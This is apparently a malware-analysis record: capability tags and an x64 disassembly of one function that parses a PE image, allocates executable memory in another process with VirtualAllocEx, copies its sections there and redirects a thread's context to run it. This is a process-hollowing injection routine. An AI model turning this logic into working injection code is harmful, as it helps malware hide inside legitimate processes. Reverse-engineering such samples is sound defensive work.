Function at 0x18008f3d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x108
lea rbp, [rsp + 0x140]
xor eax, eax
mov qword [rbp - 0x88], rax
mov qword [rbp - 0xa0], rax
mov rsi, rcx
mov rdi, qword [rsi + 0x10]
mov rbx, rdi
cmp word [rbx], 0x5a4d
jne 0x18008f421
mov eax, dword [rbx + 0x3c]
cdqe
xor r14d, r14d
cmp word [rdi + rax + 0x18], 0x20b
sete r14b
jmp 0x18008f424
xor r14d, r14d
call fcn.18000110d
mov r15, rax
mov qword [rbp - 0xa8], r15
mov byte [r15], r14b
xor r14d, r14d
xor r12d, r12d
movzx ecx, byte [r15]
test ecx, ecx
je 0x18008f44f
mov eax, dword [rbx + 0x3c]
movsxd r12, eax
add r12, rdi
jmp 0x18008f458
mov eax, dword [rbx + 0x3c]
movsxd r14, eax
add r14, rdi
test ecx, ecx
jne 0x18008f461
mov ecx, dword [r14]
jmp 0x18008f465
mov ecx, dword [r12]
cmp ecx, 0x4550
je 0x18008f481
lea rcx, [0x1803064f0]
call fcn.180090250
mov rcx, rax
call fcn.180089b10
call fcn.1801916e0
cmp eax, 8
je 0x18008f492
mov ecx, 0x40
jmp 0x18008f497
mov ecx, 0x60
call fcn.18008fa60
mov rdi, rax
call fcn.1801916e0
cmp eax, 8
je 0x18008f4b0
mov ecx, 0x10
jmp 0x18008f4b5
mov ecx, 0x18
movsxd rcx, ecx
call fcn.18012cd20
mov qword [rbp - 0x40], rax
xor ebx, ebx
xor ecx, ecx
mov dword [rsp + 0x20], ecx
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rax
mov qword [rbp + 0x10], rsi
mov rcx, qword [rsi + 8]
lea rdx, [0x1802f9008]
xor r8d, r8d
xor r9d, r9d
call fcn.18008fda0
test eax, eax
jne 0x18008f517
lea rcx, [0x18030ddf0]
call fcn.180090250
mov rcx, rax
call fcn.180089b10
test rdi, 0xffffffffffff0000
je 0x18008f54e
mov rcx, rdi
mov qword [rbp - 0xb8], rcx
lea rcx, [rbp - 0xe8]
call fcn.180004e70
mov rcx, qword [rbp - 0xb8]
call sub.KERNEL32.dll_LocalFree
lea rcx, [rbp - 0xe8]
call fcn.180004ec0
mov r15, qword [rbp - 0xa8]
cmp byte [r15], 0
jne 0x18008f564
mov eax, dword [r14 + 0x34]
mov r13d, eax
jmp 0x18008f569
mov r13, qword [r12 + 0x30]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rax]
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x98], rax
call fcn.1801916e0
cmp eax, 8
je 0x18008f593
mov rcx, qword [rbp - 0x98]
mov edx, 4
jmp 0x18008f59f
mov rcx, qword [rbp - 0x98]
mov edx, 8
movsxd rdx, edx
mov rax, qword [rcx + rdx]
mov qword [rbp - 0x50], rax
mov rcx, qword [rbp - 0x48]
mov rdx, r13
call fcn.18008ff80
cmp qword [rbp - 0x48], 0
je 0x18008f5c4
cmp qword [rbp - 0x50], 0
jne 0x18008f5d8
lea rcx, [0x1802fab10]
call fcn.180090250
mov rcx, rax
call fcn.180089b10
movzx edx, byte [r15]
test edx, edx
jne 0x18008f5e6
mov r8d, dword [r14 + 0x50]
jmp 0x18008f5eb
mov r8d, dword [r12 + 0x50]
test edx, edx
jne 0x18008f5f5
mov r10d, dword [r14 + 0x54]
jmp 0x18008f5fa
mov r10d, dword [r12 + 0x54]
mov dword [rbp - 0x54], r10d
test edx, edx
jne 0x18008f609
movzx r9d, word [r14 + 6]
jmp 0x18008f60f
movzx r9d, word [r12 + 6]
movzx r11d, r9w
mov dword [rbp - 0x58], r11d
test edx, edx
jne 0x18008f621
mov r9d, dword [r14 + 0x28]
jmp 0x18008f626
mov r9d, dword [r12 + 0x28]
mov dword [rbp - 0x5c], r9d
mov dword [rsp + 0x20], 0x40
mov rcx, qword [rbp - 0x48]
mov qword [rbp - 0xb8], rcx
mov rdx, r13
mov qword [rbp - 0xc0], rdx
mov dword [rbp - 0xac], r8d
mov r9d, 0x3000
mov dword [rbp - 0xb0], r9d
lea rcx, [rbp - 0xe8]
call fcn.180004e70
mov rcx, qword [rbp - 0xb8]
mov rdx, qword [rbp - 0xc0]
mov r8d, dword [rbp - 0xac]
mov r9d, dword [rbp - 0xb0]
call sub.KERNEL32.dll_VirtualAllocEx
mov rsi, rax
lea rcx, [rbp - 0xe8]
call fcn.180004ec0
mov r15, qword [rbp + 0x10]
mov r8, qword [r15 + 0x10]
xor ecx, ecx
mov dword [rbp - 0x88], ecx
lea rcx, [rbp - 0x88]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp - 0x48]
mov rdx, rsi
mov r9d, dword [rbp - 0x54]
call fcn.18008fff0
mov r13, qword [rbp - 0xa8]
cmp byte [r13], 0
jne 0x18008f6da
lea rax, [r14 + 0xf8]
jmp 0x18008f6e2
lea rax, [r12 + 0x108]
xor r10d, r10d
mov dword [rbp - 0x8c], r10d
cmp dword [rbp - 0x58], 0
jle 0x18008f765
mov ecx, dword [rax + 0xc]
mov edx, ecx
add rdx, rsi
mov r8, qword [r15 + 0x10]
mov ecx, dword [rax + 0x14]
add r8, rcx
mov qword [rbp - 0x68], rax
mov r9d, dword [rax + 0x10]
xor ecx, ecx
mov dword [rbp - 0x88], ecx
lea rcx, [rbp - 0x88]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rbp - 0x48]
call fcn.18008fff0
test eax, eax
je 0x18008f741
lea rcx, [0x18030e978]
call fcn.180090250
mov rcx, rax
call fcn.180089b10
mov rax, qword [rbp - 0x68]
add rax, 0x28
mov r10d, dword [rbp - 0x8c]
inc r10d
mov ecx, dword [rbp - 0x58]
cmp r10d, ecx
mov dword [rbp - 0x8c], r10d
mov dword [rbp - 0x58], ecx
jl 0x18008f6f2
cmp byte [r13], 0
jne 0x18008f773
mov ecx, 0x2cc
jmp 0x18008f778
mov ecx, 0x4d0
movsxd rcx, ecx
call fcn.18012cd20
mov qword [rbp - 0x70], rax
cmp byte [r13], 0
je 0x18008f794
mov dword [rax + 0x30], 0x10001b
jmp 0x18008f79a
mov dword [rax], 0x10002
cmp byte [r13], 0
jne 0x18008f7c7
mov rcx, qword [rbp - 0x50]
mov rdx, rax
call fcn.18008ff00
test eax, eax
jne 0x18008f7eb
lea rcx, [0x180302df8]
call fcn.180090250
mov rcx, rax
call fcn.180089b10
jmp 0x18008f7eb
mov rcx, qword [rbp - 0x50]
mov rdx, rax
call fcn.18008fea0
test eax, eax
jne 0x18008f7eb
lea rcx, [0x1802f9be0]
call fcn.180090250
mov rcx, rax
call fcn.180089b10
mov rax, qword [rbp - 0x70]
mov edx, dword [rax + 0xa4]
mov dword [rbp - 0x74], edx
mov r8, qword [rax + 0x88]
mov qword [rbp - 0x80], r8
mov rcx, rsi
call fcn.1800c60e0
mov rcx, qword [rbp - 0x48]
cmp byte [r13], 0
jne 0x18008f821
mov edx, dword [rbp - 0x74]
add edx, 8
movsxd rdx, edx
jmp 0x18008f829
mov rdx, qword [rbp - 0x80]
add rdx, 0x10
mov r9d, dword [rax + 8]
xor r8d, r8d
mov qword [rbp - 0xa0], r8
mov dword [rbp - 0x88], r8d
mov qword [rbp - 0xa0], rax
mov r8, qword [rbp - 0xa0]
cmp dword [r8 + 8], 0
jne 0x18008f858
xor r8d, r8d
jmp 0x18008f871
mov r8, qword [rbp - 0xa0]
cmp dword [r8 + 8], 0
jbe 0x18008f8c4
mov r8, qword [rbp - 0xa0]
add r8, 0x10
lea rax, [rbp - 0x88]
mov qword [rsp + 0x20], rax
call fcn.18008fff0
xor ecx, ecx
test eax, eax
sete cl
xor eax, eax
mov qword [rbp - 0xa0], rax
test ecx, ecx
jne 0x18008f8aa
lea rcx, [0x180305118]
call fcn.180090250
mov rcx, rax
call fcn.180089b10
cmp byte [r13], 0
je 0x18008f8c9
mov ecx, dword [rbp - 0x5c]
add rcx, rsi
mov rsi, qword [rbp - 0x70]
mov qword [rsi + 0x80], rcx
jmp 0x18008f8da
call fcn.18014f4a0
mov ecx, dword [rbp - 0x5c]
add rcx, rsi
mov rsi, qword [rbp - 0x70]
mov qword [rsi + 0xb0], rcx
cmp byte [r13], 0
jne 0x18008f907
mov rcx, qword [rbp - 0x50]
mov rdx, rsi
call fcn.18008fb70
test eax, eax
jne 0x18008f92b
lea rcx, [0x18030b310]
call fcn.180090250
mov rcx, rax
call fcn.180089b10
jmp 0x18008f92b
mov rcx, qword [rbp - 0x50]
mov rdx, rsi
call fcn.18008fb10
test eax, eax
jne 0x18008f92b
lea rcx, [0x1802fa840]
call fcn.180090250
mov rcx, rax
call fcn.180089b10
lea rcx, [0x1802fa7d8]
call fcn.180090250
mov rcx, rax
call fcn.180090180
mov rsi, rax
lea rcx, [0x18030ae18]
call fcn.180090250
mov rdx, rax
mov rcx, rsi
call fcn.1800900a0
mov rsi, rax
lea rcx, [0x18024dc10]
call fcn.18014e9b0
mov rdx, rax
mov rcx, rsi
call fcn.18012cbb0
mov r8, rax
test r8, r8
je 0x18008f987
lea rcx, [0x18024dc10]
cmp qword [r8], rcx
jne 0x18008f9a7
mov rcx, qword [r8 + 8]
mov rdx, qword [rbp - 0x50]
call qword [r8 + 0x20]
inc ebx
cmp ebx, 5
mov rsi, r15
mov rax, qword [rbp - 0x40]
jl 0x18008f4c3
jmp 0x18008f9b5
mov rdx, rax
call fcn.180127de0
int3
test rax, 0xffffffffffff0000
je 0x18008f9c5
mov rcx, rax
call fcn.180150e60
xor eax, eax
add rsp, 0x108
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret